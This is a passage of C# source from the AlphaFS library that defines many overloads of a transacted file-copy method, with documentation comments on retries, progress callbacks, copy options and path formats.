<exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory or an existing file.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = CopyOptions.FailIfExists\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = CopyOptions.FailIfExists,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory or an existing file.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout)\n      {\n         return CopyMoveCore(true, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            CopyOptions = CopyOptions.FailIfExists\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed.</summary>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, PathFormat pathFormat)\n      {\n         return CopyMoveCore(true, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            CopyOptions = CopyOptions.FailIfExists,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy. </param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = copyOptions\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = copyOptions,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            CopyOptions = copyOptions\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            CopyOptions = copyOptions,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Transaction = transaction,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n\n         }, false, false, sourcePath, destinationPath, null);\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed.  <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>The attributes of the original file are retained in the copied file.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>Returns a <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The file to copy.</param>\n      /// <param name=\"destinationPath\">The name of the destination file. This cannot be a directory.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the file is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"retry\">The number of retries on failed copies.</param>\n      /// <param name=\"retryTimeout\">The wait time in seconds between retries.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the file has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(false, new CopyMoveArguments\n         {\n            Retry = retry,\n            RetryTimeout = retryTimeout,\n            Transaction = transaction,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = 